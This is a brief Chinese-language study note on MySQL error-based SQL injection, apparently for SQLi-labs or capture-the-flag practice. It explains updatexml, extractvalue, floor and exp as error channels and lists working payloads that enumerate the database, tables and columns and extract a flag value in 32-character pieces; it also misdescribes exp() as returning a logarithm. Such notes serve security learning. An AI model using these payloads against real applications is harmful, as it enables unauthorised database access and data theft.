报错注入:不能使用 union()函数,或者没有回显位,可以学习这篇文章:(4条消息) SQLI-LABS Less-5 Less-6_二郎_的博客-CSDN博客
常用函数:
- updatexml(xml_doument,XPath_string,new_value):
第一个参数:是string格式,为XML文档对象的名称
第二个参数:代表路径,Xpath格式的字符串例如
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax),最多输出32位 - extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
与updatexml用法相似,最多输出32位 - floor(num):返回小于等于num该值的最大整数
- exp(x):返回以e为底,x的对数
当x>=709,exp()就会引起溢出错误,可以用 ~ 运算符按位取反的方式得到一个最大值
concat() 和 concat_ws() 函数(group_concat()不行),用于连接字符串,由于updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码
查询数据库:
1 and updatexml(1,concat(0x7e,database()),1)
查询表:
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli")),1)
查询字段:
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")),1)
查询数据:
1 and updatexml(1,concat(0x7e,(select flag from sqli.flag)),1)
1 and updatexml(1,concat(0x7e,substr((select flag from sqli.flag),31,31)),1)
#updatdaxml 和 extractvalue 最多输出32位